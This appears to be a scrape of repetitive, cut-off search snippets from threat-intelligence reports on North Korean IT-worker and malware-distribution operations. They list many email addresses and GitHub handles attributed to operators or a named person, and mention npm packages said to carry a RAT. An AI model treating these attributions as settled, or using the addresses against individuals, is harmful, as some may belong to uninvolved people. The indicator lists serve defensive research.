Email accounts used by Chon Kwon Uk - laiwe@allombo.com - - Email accounts used by Chon Kwon Uk - laiwe@amateurup.com - - Email accounts used by Chon Kwon Uk - laiwe@babefocus.com - - Email…","…laiwe Github accounts used by Kyonghung IT workers 12 laiwe@Zafianto.com laiwe@adventuremoto.com laiwe@africatwin.fun laiwe@allombo.com laiwe@amateurup.com laiwe@babefocus.com laiwe@bnude.com laiwe@groobysocial.com laiwe@hunners.com laiwe@newbienudes.com…","…Kwon Uk - laiwe@africatwin.fun - - Email accounts used by Chon Kwon Uk - laiwe@allombo.com - - Email accounts used by Chon Kwon Uk - laiwe@amateurup.com - - Email accounts used by Chon Kwon Uk - laiwe@babefocus.com - - Email accounts used by Chon Kwon Uk - laiwe@bnude.com - - Email…","…used by Kyonghung IT workers 12 laiwe@Zafianto.com laiwe@adventuremoto.com laiwe@africatwin.fun laiwe@allombo.com laiwe@amateurup.com laiwe@babefocus.com laiwe@bnude.com laiwe@groobysocial.com laiwe@hunners.com laiwe@newbienudes.com laiwe@newdudenudes.com…","…Kwon Uk - laiwe@allombo.com - - Email accounts used by Chon Kwon Uk - laiwe@amateurup.com - - Email accounts used by Chon Kwon Uk - laiwe@babefocus.com - - Email accounts used by Chon Kwon Uk - laiwe@bnude.com - - Email accounts used by Chon Kwon Uk - laiwe@groobysocial.com - - Email…","…IT workers 12 laiwe@Zafianto.com laiwe@adventuremoto.com laiwe@africatwin.fun laiwe@allombo.com laiwe@amateurup.com laiwe@babefocus.com laiwe@bnude.com laiwe@groobysocial.com laiwe@hunners.com laiwe@newbienudes.com laiwe@newdudenudes.com laiwe@newgalnudes.com…","…Kwon Uk - laiwe@amateurup.com - - Email accounts used by Chon Kwon Uk - laiwe@babefocus.com - - Email accounts used by Chon Kwon Uk - laiwe@bnude.com - - Email accounts used by Chon Kwon Uk - laiwe@groobysocial.com - - Email accounts used by Chon Kwon Uk - laiwe@hunners.com - - Email…","…laiwe@Zafianto.com laiwe@adventuremoto.com laiwe@africatwin.fun laiwe@allombo.com laiwe@amateurup.com laiwe@babefocus.com laiwe@bnude.com laiwe@groobysocial.com laiwe@hunners.com laiwe@newbienudes.com laiwe@newdudenudes.com laiwe@newgalnudes.com…","…Chon Kwon Uk - laiwe@babefocus.com - - Email accounts used by Chon Kwon Uk - laiwe@bnude.com - - Email accounts used by Chon Kwon Uk - laiwe@groobysocial.com - - Email accounts used by Chon Kwon Uk - laiwe@hunners.com - - Email accounts used by Chon Kwon Uk - laiwe@newbienudes.com - - Email…","…laiwe@adventuremoto.com laiwe@africatwin.fun laiwe@allombo.com laiwe@amateurup.com laiwe@babefocus.com laiwe@bnude.com laiwe@groobysocial.com laiwe@hunners.com laiwe@newbienudes.com laiwe@newdudenudes.com laiwe@newgalnudes.com laiwe@newtransnudes.com laiwe@peeled.com…","…Kwon Uk - laiwe@bnude.com - - Email accounts used by Chon Kwon Uk - laiwe@groobysocial.com - - Email accounts used by Chon Kwon Uk - laiwe@hunners.com - - Email accounts used by Chon Kwon Uk - laiwe@newbienudes.com - - Email accounts used by Chon Kwon Uk - laiwe@newdudenudes.com - -…","…laiwe@africatwin.fun laiwe@allombo.com laiwe@amateurup.com laiwe@babefocus.com laiwe@bnude.com laiwe@groobysocial.com laiwe@hunners.com laiwe@newbienudes.com laiwe@newdudenudes.com laiwe@newgalnudes.com laiwe@newtransnudes.com laiwe@peeled.com laiwe@rudenude.com…","…Kwon Uk - laiwe@groobysocial.com - - Email accounts used by Chon Kwon Uk - laiwe@hunners.com - - Email accounts used by Chon Kwon Uk - laiwe@newbienudes.com - - Email accounts used by Chon Kwon Uk - laiwe@newdudenudes.com - - Email accounts used by Chon Kwon Uk - laiwe@newgalnudes.com - -…","…laiwe@allombo.com laiwe@amateurup.com laiwe@babefocus.com laiwe@bnude.com laiwe@groobysocial.com laiwe@hunners.com laiwe@newbienudes.com laiwe@newdudenudes.com laiwe@newgalnudes.com laiwe@newtransnudes.com laiwe@peeled.com laiwe@rudenude.com…","…Kwon Uk - laiwe@hunners.com - - Email accounts used by Chon Kwon Uk - laiwe@newbienudes.com - - Email accounts used by Chon Kwon Uk - laiwe@newdudenudes.com - - Email accounts used by Chon Kwon Uk - laiwe@newgalnudes.com - - Email accounts used by Chon Kwon Uk - laiwe@newtransnudes.com - -…","…laiwe@amateurup.com laiwe@babefocus.com laiwe@bnude.com laiwe@groobysocial.com laiwe@hunners.com laiwe@newbienudes.com laiwe@newdudenudes.com laiwe@newgalnudes.com laiwe@newtransnudes.com laiwe@peeled.com laiwe@rudenude.com laiwe@seemyselfies.com laiwe@selfienudes.com…","…Uk - laiwe@newbienudes.com - - Email accounts used by Chon Kwon Uk - laiwe@newdudenudes.com - - Email accounts used by Chon Kwon Uk - laiwe@newgalnudes.com - - Email accounts used by Chon Kwon Uk - laiwe@newtransnudes.com - - Email accounts used by Chon Kwon Uk - laiwe@peeled.com - - Email…","…laiwe@babefocus.com laiwe@bnude.com laiwe@groobysocial.com laiwe@hunners.com laiwe@newbienudes.com laiwe@newdudenudes.com laiwe@newgalnudes.com laiwe@newtransnudes.com laiwe@peeled.com laiwe@rudenude.com laiwe@seemyselfies.com laiwe@selfienudes.com laiwe@soseeall.com…","…Uk - laiwe@newdudenudes.com - - Email accounts used by Chon Kwon Uk - laiwe@newgalnudes.com - - Email accounts used by Chon Kwon Uk - laiwe@newtransnudes.com - - Email accounts used by Chon Kwon Uk - laiwe@peeled.com - - Email accounts used by Chon Kwon Uk - laiwe@rudenude.com - - Email…","…laiwe@bnude.com laiwe@groobysocial.com laiwe@hunners.com laiwe@newbienudes.com laiwe@newdudenudes.com laiwe@newgalnudes.com laiwe@newtransnudes.com laiwe@peeled.com laiwe@rudenude.com laiwe@seemyselfies.com laiwe@selfienudes.com laiwe@soseeall.com…","…Uk - laiwe@newgalnudes.com - - Email accounts used by Chon Kwon Uk - laiwe@newtransnudes.com - - Email accounts used by Chon Kwon Uk - laiwe@peeled.com - - Email accounts used by Chon Kwon Uk - laiwe@rudenude.com - - Email accounts used by Chon Kwon Uk - laiwe@seemyselfies.com - - Email…","…laiwe@hunners.com laiwe@newbienudes.com laiwe@newdudenudes.com laiwe@newgalnudes.com laiwe@newtransnudes.com laiwe@peeled.com laiwe@rudenude.com laiwe@seemyselfies.com laiwe@selfienudes.com laiwe@soseeall.com laiwe@zafianto.com.test-google-a.com Email…","…Kwon Uk - laiwe@newtransnudes.com - - Email accounts used by Chon Kwon Uk - laiwe@peeled.com - - Email accounts used by Chon Kwon Uk - laiwe@rudenude.com - - Email accounts used by Chon Kwon Uk - laiwe@seemyselfies.com - - Email accounts used by Chon Kwon Uk - laiwe@selfienudes.com - -…","…laiwe@hunners.com laiwe@newbienudes.com laiwe@newdudenudes.com laiwe@newgalnudes.com laiwe@newtransnudes.com laiwe@peeled.com laiwe@rudenude.com laiwe@seemyselfies.com laiwe@selfienudes.com laiwe@soseeall.com laiwe@zafianto.com.test-google-a.com Email accounts used by Chon…","…Chon Kwon Uk - laiwe@peeled.com - - Email accounts used by Chon Kwon Uk - laiwe@rudenude.com - - Email accounts used by Chon Kwon Uk - laiwe@seemyselfies.com - - Email accounts used by Chon Kwon Uk - laiwe@selfienudes.com - - Email accounts used by Chon Kwon Uk - laiwe@soseeall.com - - Email…","…laiwe@newdudenudes.com laiwe@newgalnudes.com laiwe@newtransnudes.com laiwe@peeled.com laiwe@rudenude.com laiwe@seemyselfies.com laiwe@selfienudes.com laiwe@soseeall.com laiwe@zafianto.com.test-google-a.com Email accounts used by Chon Kwon Uk 13…","…Kwon Uk - laiwe@rudenude.com - - Email accounts used by Chon Kwon Uk - laiwe@seemyselfies.com - - Email accounts used by Chon Kwon Uk - laiwe@selfienudes.com - - Email accounts used by Chon Kwon Uk - laiwe@soseeall.com - - Email accounts used by Chon Kwon Uk -…","…laiwe@newgalnudes.com laiwe@newtransnudes.com laiwe@peeled.com laiwe@rudenude.com laiwe@seemyselfies.com laiwe@selfienudes.com laiwe@soseeall.com laiwe@zafianto.com.test-google-a.com Email accounts used by Chon Kwon Uk 13 allombo.com Social media…","…Uk - laiwe@seemyselfies.com - - Email accounts used by Chon Kwon Uk - laiwe@selfienudes.com - - Email accounts used by Chon Kwon Uk - laiwe@soseeall.com - - Email accounts used by Chon Kwon Uk - laiwe@zafianto.com.testgoogle-a.com - - Email accounts used by Chon Kwon Uk - allombo.com…","…laiwe@newtransnudes.com laiwe@peeled.com laiwe@rudenude.com laiwe@seemyselfies.com laiwe@selfienudes.com laiwe@soseeall.com laiwe@zafianto.com.test-google-a.com Email accounts used by Chon Kwon Uk 13 allombo.com Social media site developed by…","…IT workers - andersson1117 - Github accounts used by Kyonghung IT workers - laiwe - Github accounts used by Kyonghung IT workers - laiwe@Zafianto.com - - Email accounts used by Chon Kwon Uk - laiwe@adventuremoto.com - - Email accounts used by Chon Kwon Uk - laiwe@africatwin.fun - -…","…used by Kyonghung IT 11 gitstar333garezb35, andersson1117, laiwe Github accounts used by Kyonghung IT workers 12 laiwe@Zafianto.com laiwe@adventuremoto.com laiwe@africatwin.fun laiwe@allombo.com laiwe@amateurup.com laiwe@babefocus.com laiwe@bnude.com…","…laiwe@newtransnudes.com laiwe@peeled.com laiwe@rudenude.com laiwe@seemyselfies.com laiwe@selfienudes.com laiwe@soseeall.com laiwe@zafianto.com.test-google-a.com Email accounts used by Chon Kwon Uk 13 allombo.com Social media site developed by Chon Kwon Uk Company established in…","…Kwon Uk - laiwe@selfienudes.com - - Email accounts used by Chon Kwon Uk - laiwe@soseeall.com - - Email accounts used by Chon Kwon Uk - laiwe@zafianto.com.testgoogle-a.com - - Email accounts used by Chon Kwon Uk - allombo.com Social media site developed by Chon Kwon Uk Company established in Cyprus","…0@gmail.com kyden.giomar@minutestep.com kylecollins412@gmail.com kyler714307@gmail.com kyrychenkov30@gmail.com lael.damareon@minofangle.org lambertlee410@gmail.com lambook35@gmail.com lancerok8@gmail.com larrypotter0000@gmail.com larrywilkerson663@gmail.com layton.hart.cool@gmail.com lazyknight223@gmai…","Published on 17 May 2025 in a thread the researcher opened with \"Lets play a profile picture game! Here are a few fun DPRK ITW/remote worker profile pics and their associated emails.\" Each post in it pairs one address with the profile photograph used alongside it. This entry is one such post: the address lambook35@gmail.com and the picture below it. The photograph is mirrored here because these posts are the only published record of the face an operator presented, and the accounts they came from are routinely deleted. It is not evidence of who operates the address: a profile picture in this dataset is as likely to be generated, stock, or taken from an uninvolved person. The researcher gives no name, and the address does not read as one, so the page is filed under the address’s own local part rather than under a name invented for it.","…@minutestep.com kylecollins412@gmail.com kyler714307@gmail.com kyrychenkov30@gmail.com lael.damareon@minofangle.org lambertlee410@gmail.com lambook35@gmail.com lancerok8@gmail.com larrypotter0000@gmail.com larrywilkerson663@gmail.com layton.hart.cool@gmail.com lazyknight223@gmail.com lclement927@gm…","…collins412@gmail.com kyler714307@gmail.com kyrychenkov30@gmail.com lael.damareon@minofangle.org lambertlee410@gmail.com lambook35@gmail.com lancerok8@gmail.com larrypotter0000@gmail.com larrywilkerson663@gmail.com layton.hart.cool@gmail.com lazyknight223@gmail.com lclement927@gmail.com lctruong13@g…","…kievrelationmanager07992@gmail.com knightjenkinsybtec90710@outlook.com krauszsenff3pkph@hotmail.com landmarkhomesconsult33423@gmail.com landscapeinvestor00913@gmail.com lauradrwh@gmail.com lendingcrafters51867@gmail.com lillihousingagent83183@gmail.com…","…knightjenkinsybtec90710@outlook.com krauszsenff3pkph@hotmail.com landmarkhomesconsult33423@gmail.com landscapeinvestor00913@gmail.com lauradrwh@gmail.com lendingcrafters51867@gmail.com lillihousingagent83183@gmail.com lisaselingreen56157@gmail.com…","…4899432@qq.com - babakwethr@gmail.com - Chenyin1g992@gmail.com - elitedev619@gmail.com - jupiter.softdev@gmail.com - larastar721@gmail.com - laravguru@gmail.com - light.oa17@gmail.com - mmarjs22@gmail.com - partneremail@gmail.com - sp0t.s3@outlook.com -…","…babakwethr@gmail.com - Chenyin1g992@gmail.com - elitedev619@gmail.com - jupiter.softdev@gmail.com - larastar721@gmail.com - laravguru@gmail.com - light.oa17@gmail.com - mmarjs22@gmail.com - partneremail@gmail.com - sp0t.s3@outlook.com - spot.jk7@gmail.com -…","…lahnasseri986@gmail.com CharlieWang1218917.dream@proton.me andriisokyrka@gmail.com dreamit.dev1218917@gmail.com stevenbakarich607@gmail.com larryjam.henry.iv@gmail.com FURTHER READING Regarding this, you can read the following articles to get a 360 view on the incident.…","…kyler714307@gmail.com kyrychenkov30@gmail.com lael.damareon@minofangle.org lambertlee410@gmail.com lambook35@gmail.com lancerok8@gmail.com larrypotter0000@gmail.com larrywilkerson663@gmail.com layton.hart.cool@gmail.com lazyknight223@gmail.com lclement927@gmail.com lctruong13@gmail.com leandro.araujo020…","…ychenkov30@gmail.com lael.damareon@minofangle.org lambertlee410@gmail.com lambook35@gmail.com lancerok8@gmail.com larrypotter0000@gmail.com larrywilkerson663@gmail.com layton.hart.cool@gmail.com lazyknight223@gmail.com lclement927@gmail.com lctruong13@gmail.com leandro.araujo020984@gmail.com lee.smith87032…","…email insider N/A N/A Synthetic persona email 2 dzholedinkov001@outlook.com email insider N/A N/A Synthetic persona email 2 LaszloEniko@outlook.com email insider N/A N/A Synthetic persona email 2 lazarbulatovic56@outlook.com email insider N/A N/A Synthetic persona email 2…","…krauszsenff3pkph@hotmail.com landmarkhomesconsult33423@gmail.com landscapeinvestor00913@gmail.com lauradrwh@gmail.com lendingcrafters51867@gmail.com lillihousingagent83183@gmail.com lisaselingreen56157@gmail.com…","…kik.ita.aylen701@gmail.com kingsley19960304@hotmail.com korovalerii0803@gmail.com kurnia.utama4q@hotmail.com lauren.washco@hotmail.com leahucosmin0720@gmail.com leeuna@xvism.site littebaby232355@gmail.com lucastyler195@gmail.com…","…email insider N/A N/A Threat actor-controlled email 1 kosong0926@hotmail.com email insider N/A N/A Threat actor-controlled email 1 lava_0208@hotmail.com email insider N/A N/A Threat actor-controlled email 1 leonardo_perez@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…@joyfill/components@4.0.0-rc24-2773-beta.4[email protected] declares a dependency on @joyfill/layouts@0.1.2-2773.beta.0[email protected] .…","…including test runners, SSR, and bundlers, is sufficient to trigger it. For Security Teams # Treat any machine that imported @joyfill/layouts@0.1.2-2773.beta.0 or @joyfill/components@4.0.0-rc24-2773-beta.4 as potentially compromised, not just at risk of data theft: the recovered RAT provides an…","…mareon@minofangle.org lambertlee410@gmail.com lambook35@gmail.com lancerok8@gmail.com larrypotter0000@gmail.com larrywilkerson663@gmail.com layton.hart.cool@gmail.com lazyknight223@gmail.com lclement927@gmail.com lctruong13@gmail.com leandro.araujo020984@gmail.com lee.smith870327@gmail.com lee.supersenior…","…email insider N/A N/A Synthetic persona email 2 LaszloEniko@outlook.com email insider N/A N/A Synthetic persona email 2 lazarbulatovic56@outlook.com email insider N/A N/A Synthetic persona email 2 emilkokolnska@gmail.com email insider N/A N/A Synthetic persona email 2…","…Year in Review cesarpassos4808@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review lazar.master.0204@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review lujancamryn405@gmail.com email malware N/A…","…rtlee410@gmail.com lambook35@gmail.com lancerok8@gmail.com larrypotter0000@gmail.com larrywilkerson663@gmail.com layton.hart.cool@gmail.com lazyknight223@gmail.com lclement927@gmail.com lctruong13@gmail.com leandro.araujo020984@gmail.com lee.smith870327@gmail.com lee.supersenior@gmail.com legend.dev.go…","…ok35@gmail.com lancerok8@gmail.com larrypotter0000@gmail.com larrywilkerson663@gmail.com layton.hart.cool@gmail.com lazyknight223@gmail.com lclement927@gmail.com lctruong13@gmail.com leandro.araujo020984@gmail.com lee.smith870327@gmail.com lee.supersenior@gmail.com legend.dev.go@gmail.com legendary.p…","…k8@gmail.com larrypotter0000@gmail.com larrywilkerson663@gmail.com layton.hart.cool@gmail.com lazyknight223@gmail.com lclement927@gmail.com lctruong13@gmail.com leandro.araujo020984@gmail.com lee.smith870327@gmail.com lee.supersenior@gmail.com legend.dev.go@gmail.com legendary.phoenix.icarus@gmail.c…","…kingsley19960304@hotmail.com korovalerii0803@gmail.com kurnia.utama4q@hotmail.com lauren.washco@hotmail.com leahucosmin0720@gmail.com leeuna@xvism.site littebaby232355@gmail.com lucastyler195@gmail.com luis.fernando.dev1214@gmail.com luka1291@outlook.com…","…ter0000@gmail.com larrywilkerson663@gmail.com layton.hart.cool@gmail.com lazyknight223@gmail.com lclement927@gmail.com lctruong13@gmail.com leandro.araujo020984@gmail.com lee.smith870327@gmail.com lee.supersenior@gmail.com legend.dev.go@gmail.com legendary.phoenix.icarus@gmail.com legendarydev33@gmail.com leg…","…email insider N/A N/A Git mirror developer identity 2 btrs.corp@gmail.com email insider N/A N/A Git mirror developer identity 2 ledanglong@gmail.com email insider N/A N/A Git mirror developer identity 2 cwertlinks@gmail.com email insider N/A N/A Git mirror developer identity 2…","…example, as explained below, the actors used the names LEE Ch an and LEE Ch ienhui, as well as the online identifiers “leech_dev” and “leech.developer@gmail.com.” Case 1:25-cv-01769 Document 1 Filed 06/05/25 Page 31 of 51 32 exchanges .…","…6ae47651f95735e18c7370aa04d1577ffbd19c20eed57729c777cac6d4a83f4b 2026-09-15 chai-as-crack (7.0.5) 2026-09-15 elizabeth422 <leeelizabethmkl192@outlook.com> df4970a67c9caae5dd2e4603ea726f7624a4c17bb197a1039985a10ff9b56923 2026-09-15 tailwind-forms-styles (0.5.2) 2026-09-15…","…n663@gmail.com layton.hart.cool@gmail.com lazyknight223@gmail.com lclement927@gmail.com lctruong13@gmail.com leandro.araujo020984@gmail.com lee.smith870327@gmail.com lee.supersenior@gmail.com legend.dev.go@gmail.com legendary.phoenix.icarus@gmail.com legendarydev33@gmail.com legendarysaint0722@gmail.com…","….cool@gmail.com lazyknight223@gmail.com lclement927@gmail.com lctruong13@gmail.com leandro.araujo020984@gmail.com lee.smith870327@gmail.com lee.supersenior@gmail.com legend.dev.go@gmail.com legendary.phoenix.icarus@gmail.com legendarydev33@gmail.com legendarysaint0722@gmail.com legendblaze@skiff.com lege…","…korovalerii0803@gmail.com kurnia.utama4q@hotmail.com lauren.washco@hotmail.com leahucosmin0720@gmail.com leeuna@xvism.site littebaby232355@gmail.com lucastyler195@gmail.com luis.fernando.dev1214@gmail.com luka1291@outlook.com luka1293@outlook.com…","…cescernand@outlook.com devstar1116@gmail.com ebcappservices@gmail.com hakajakin@outlook.com ideationbrand@gmail.com legend_dev@outlook.com liko.sonexarth@gmail.com liko.sonexarth@hotmail.com longines0924@gmail.com lujindane@outlook.com matthewhall14541@gmail.com…","…james@ecf.network - ali.jonsson1800@gmail.com - bighero0122@gmail.com: - danylo.lee316@gmail.com - keithnelson0426@gmail.com - legendary0118dev@gmail.com - strongdragon036@gmail.com - takao.kamio@brandcode.dev - takao.kamio@hyma.io - ucas0holm@gmail.com -…","…ook.com hundredup2023@gmail.com huzqur023@gmail.com info@versusx.us invite@quiz-nest.com jimmr6587@gmail.com johnkane84830@gmail.com legendaryaladdin@motionassess.com marvel714jm@gmail.com maxwell@gmail.com montessantiago9712@gmail.com mvsolution9@gmail.com phoenixfire471@gmail.com richardkdavis45@g…","…andro.araujo020984@gmail.com lee.smith870327@gmail.com lee.supersenior@gmail.com legend.dev.go@gmail.com legendary.phoenix.icarus@gmail.com legendarydev33@gmail.com legendarysaint0722@gmail.com legendblaze@skiff.com legenddragon123@proton.me leo.arnold.honey@gmail.com leo.repin1217@gmail.com leonid.fedo…","…7@gmail.com lctruong13@gmail.com leandro.araujo020984@gmail.com lee.smith870327@gmail.com lee.supersenior@gmail.com legend.dev.go@gmail.com legendary.phoenix.icarus@gmail.com legendarydev33@gmail.com legendarysaint0722@gmail.com legendblaze@skiff.com legenddragon123@proton.me leo.arnold.honey@gmail.com leo.repin1…","…com lee.smith870327@gmail.com lee.supersenior@gmail.com legend.dev.go@gmail.com legendary.phoenix.icarus@gmail.com legendarydev33@gmail.com legendarysaint0722@gmail.com legendblaze@skiff.com legenddragon123@proton.me leo.arnold.honey@gmail.com leo.repin1217@gmail.com leonid.fedoro114@gmail.com leonidkaralis…","…lee.supersenior@gmail.com legend.dev.go@gmail.com legendary.phoenix.icarus@gmail.com legendarydev33@gmail.com legendarysaint0722@gmail.com legendblaze@skiff.com legenddragon123@proton.me leo.arnold.honey@gmail.com leo.repin1217@gmail.com leonid.fedoro114@gmail.com leonidkaralis@gmail.com leonmax0623…","…223@gmail.com lclement927@gmail.com lctruong13@gmail.com leandro.araujo020984@gmail.com lee.smith870327@gmail.com lee.supersenior@gmail.com legend.dev.go@gmail.com legendary.phoenix.icarus@gmail.com legendarydev33@gmail.com legendarysaint0722@gmail.com legendblaze@skiff.com legenddragon123@proton.me le…","….com legend.dev.go@gmail.com legendary.phoenix.icarus@gmail.com legendarydev33@gmail.com legendarysaint0722@gmail.com legendblaze@skiff.com legenddragon123@proton.me leo.arnold.honey@gmail.com leo.repin1217@gmail.com leonid.fedoro114@gmail.com leonidkaralis@gmail.com leonmax0623@gmail.com leonohlin0123@g…","…krauszsenff3pkph@hotmail.com landmarkhomesconsult33423@gmail.com landscapeinvestor00913@gmail.com lauradrwh@gmail.com lendingcrafters51867@gmail.com lillihousingagent83183@gmail.com lisaselingreen56157@gmail.com londonhomesmartagent36691@gmail.com…","…om legendary.phoenix.icarus@gmail.com legendarydev33@gmail.com legendarysaint0722@gmail.com legendblaze@skiff.com legenddragon123@proton.me leo.arnold.honey@gmail.com leo.repin1217@gmail.com leonid.fedoro114@gmail.com leonidkaralis@gmail.com leonmax0623@gmail.com leonohlin0123@gmail.com leopord0407@gmail.…","…email insider N/A N/A Threat actor-controlled email 1 lava_0208@hotmail.com email insider N/A N/A Threat actor-controlled email 1 leonardo_perez@hotmail.com email insider N/A N/A Threat actor-controlled email 1 li.guangri.2020@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…promseislaw@gmail.com - smartdevpro001@gmail.com - brentjeremynel@gmail.com - onetouch0525@gmail.com - kevinlee2821@gmail.com - leondragandevelop@gmail.com - eric2022412@gmail.com - ma.liguo@outlook.com - donatelo212dunccine@gmail.com - ernestpapyan@gmail.com -…","…------------- Emails: promseislaw@gmail.com smartdevpro001@gmail.com brentjeremynel@gmail.com onetouch0525@gmail.com kevinlee2821@gmail.com leondragandevelop@gmail.com eric2022412@gmail.com ma.liguo@outlook.com donatelo212dunccine@gmail.com ernestpapyan@gmail.com topsmartpro@prolocalize.com yatsukalbert@ou…","…800US$ has been transfered via (leonellaplacette2@gmail.com) payoneer from ChongJin-Industry2 Group --- [2025-12-08 13:44:59] PC-1234 [image: /uploads/1765201498592-560329714.png] --- [2025-12-09…","…Individual Operator Cover Accounts Cover Identity / Handle Linked Operator / Unit Cover Type Notes Source Evidence leonellaplacette2@gmail.com kh430 / Industry 2 Gmail - Western female name cover - Raw Chat 🟢 External information michalmilewski1@outlook.com…","…email insider N/A N/A Synthetic persona email 2 antonijakub11@outlook.com email insider N/A N/A Synthetic persona email 2 leonidasnefeli@outlook.com email insider N/A N/A Synthetic persona email 2 alexandrurusu2@outlook.com email insider N/A N/A Synthetic persona email 2…","…3@gmail.com legendarysaint0722@gmail.com legendblaze@skiff.com legenddragon123@proton.me leo.arnold.honey@gmail.com leo.repin1217@gmail.com leonid.fedoro114@gmail.com leonidkaralis@gmail.com leonmax0623@gmail.com leonohlin0123@gmail.com leopord0407@gmail.com leostarlight610@gmail.com leowith929@gmail.com…","…722@gmail.com legendblaze@skiff.com legenddragon123@proton.me leo.arnold.honey@gmail.com leo.repin1217@gmail.com leonid.fedoro114@gmail.com leonidkaralis@gmail.com leonmax0623@gmail.com leonohlin0123@gmail.com leopord0407@gmail.com leostarlight610@gmail.com leowith929@gmail.com levyeugene0813@gmail.com…","…2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580) - 0xl2 - jigoat - zeroxjoe - x.com/zeroxjoe - 0xl2@proton.me - leon.lowden7@gmail.com - github.com/0xl2 • [Archive](https://archive.ph/KolKd) - 0x0c0e8ef4b62a4a2a1b5031911e272362530c1a9a -…","…e@skiff.com legenddragon123@proton.me leo.arnold.honey@gmail.com leo.repin1217@gmail.com leonid.fedoro114@gmail.com leonidkaralis@gmail.com leonmax0623@gmail.com leonohlin0123@gmail.com leopord0407@gmail.com leostarlight610@gmail.com leowith929@gmail.com levyeugene0813@gmail.com leyr1114@gmail.com li…","…asdasdasd jarrenjackson15@gmail.com Rst jayevanslinkedin@gmail.com Jay231 kylecollins412@gmail.com p, kyle0412 leonohlin0123@gmail.com leodavinci liam.pilips.hub@gmail.com ourcountry manricvilegas@gmail.com int mastering0429@gmail.com Dragon2002, dragon2002…","…ernestpapyan@gmail.com - topsmartpro@prolocalize.com - yatsukalbert@outlook.com - talentdev610@gmail.com - leonpower123@outlook.com - oskardev0112@gmail.com - 88yurchak@gmail.com - github.com/brent-jeremy - github.com/Smart-Dev-0205 -…","…utlook.com donatelo212dunccine@gmail.com ernestpapyan@gmail.com topsmartpro@prolocalize.com yatsukalbert@outlook.com talentdev610@gmail.com leonpower123@outlook.com oskardev0112@gmail.com 88yurchak@gmail.com Github: https://github.com/brent-jeremy https://github.com/Smart-Dev-0205 https://github.com/ta…","…0xfd1b05e51653339c850c8a18c9ac11aed9105f2a #### Leon - Leon Lin (mmsys34, 0xhiler) - 2025 - leonxdev1 - leonxdev1@gmail.com - mmsys - mmsys34 - 0xhiler - moreleon - t.me/moreleon (ID: 7071594535) - 0x64d668978ddd6145d4f192eefb03691b75f65096 #### Leon - Abe…","…email insider N/A N/A Synthetic persona email 2 piotrglowacki.pol@outlook.com email insider N/A N/A Synthetic persona email 2 leonzielinski.pol@outlook.com email insider N/A N/A Synthetic persona email 2 stanislav.timko@outlook.com email insider N/A N/A Synthetic persona email 2…","…jo.hnceballos0716@gmail.com - hughnolan88@gmail.com - deliminallimited.ws@outlook.com - galaxy85126@gmail.com - leopawel65@gmail.com - github.com/peterz-codes - github.com/camonanesi - github.com/wildwolf085 - github.com/leopawel - t.me/komonado (ID: 1017960142) •…","…hughnolan88@gmail.com[email protected] deliminallimited.ws@outlook.com[email protected] galaxy85126@gmail.com[email protected] leopawel65@gmail.com[email protected]…","…utlook.com jamesybarra114@gmail.com jo.hnceballos0716@gmail.com hughnolan88@gmail.com deliminallimited.ws@outlook.com galaxy85126@gmail.com leopawel65@gmail.com Github: https://github.com/peterz-codes https://github.com/camonanesi https://github.com/wildwolf085 https://github.com/leopawel Telegram…","…ld.honey@gmail.com leo.repin1217@gmail.com leonid.fedoro114@gmail.com leonidkaralis@gmail.com leonmax0623@gmail.com leonohlin0123@gmail.com leopord0407@gmail.com leostarlight610@gmail.com leowith929@gmail.com levyeugene0813@gmail.com leyr1114@gmail.com liam.pilips.hub@gmail.com lian.lua28@gmail.com l…","…@gmail.com legendarydev33@gmail.com legendarysaint0722@gmail.com legendblaze@skiff.com legenddragon123@proton.me leo.arnold.honey@gmail.com leo.repin1217@gmail.com leonid.fedoro114@gmail.com leonidkaralis@gmail.com leonmax0623@gmail.com leonohlin0123@gmail.com leopord0407@gmail.com leostarlight610@gmai…","….repin1217@gmail.com leonid.fedoro114@gmail.com leonidkaralis@gmail.com leonmax0623@gmail.com leonohlin0123@gmail.com leopord0407@gmail.com leostarlight610@gmail.com leowith929@gmail.com levyeugene0813@gmail.com leyr1114@gmail.com liam.pilips.hub@gmail.com lian.lua28@gmail.com ligac@getnada.com lightbulb…","…erbanfceraswud8px@hotmail.com JonathonF1010@outlook.com khardenjenna510727@outlook.com kukurudza339@gmail.com leowestbcqni01653@outlook.com pascaldev0921@outlook.com reedfowlerccouj11583@hotmail.com topflite4@freyaglam.shop vrindalseth@gmail.com…","…d.fedoro114@gmail.com leonidkaralis@gmail.com leonmax0623@gmail.com leonohlin0123@gmail.com leopord0407@gmail.com leostarlight610@gmail.com leowith929@gmail.com levyeugene0813@gmail.com leyr1114@gmail.com liam.pilips.hub@gmail.com lian.lua28@gmail.com ligac@getnada.com lightbulb.dev2022@gmail.com li…","…ngheli211@gmail.com wilsondovi21@gmail.com asemenovboyarka@gmail.com alex@bellsstudio.site freeserviceexpert@gmail.com sadah12290@gmail.com leoxtechdev@gmail.com goldenharvestmidas@gmail.com Sites: marogus211.wixsite.com youtube.com/@liberathachannel linkedin.com/in/lian-hung-129b47158 smart.5starli…","…2 ====== johnathon.h.tneg18@gmail.com leptointel213@gmail.com clark.pickles30@proton.me dkwebigo416@gmail.com zhangxu57477@gmail.com kholodroman6@gmail.com hanhd7231@gmail.com artemyaroshenko540@gmail.…","…lint-null 2026-04-13 live registry a.yal.a.da.ve7@gmail.com log-upgrade 2026-04-03 live registry lestehlytnl@gmx.com lucide-next 2026-03-27 live registry cubistengineer@gmail.com metrify-chain 2026-03-27 graph first seen…","…Arc Market?, Fastswap?, Grape Finance? - QuinnDuck - letteldream - rustumatizon - letteldream@gmail.com - github.com/rustumatizon • [Archive](https://archive.ph/KLBYw) - t.me/QuinnDuck - https://quinn-lee.netlify.app/ -…","…Both domains were registered using the levistor777@gmail.com email address.…","…leonidkaralis@gmail.com leonmax0623@gmail.com leonohlin0123@gmail.com leopord0407@gmail.com leostarlight610@gmail.com leowith929@gmail.com levyeugene0813@gmail.com leyr1114@gmail.com liam.pilips.hub@gmail.com lian.lua28@gmail.com ligac@getnada.com lightbulb.dev2022@gmail.com lighteye1234@gmail.com ligh…","…gleb-js 2026-03-23 graph first seen al.la.n.h.o.rca07@gmail.com graphbase-js 2026-03-24 live registry lewis.barajas95@outlook.com jonas-prettier-logger 2026-03-21 graph first seen jonas.schneider77@hotmail.com js-unimode 2026-04-21 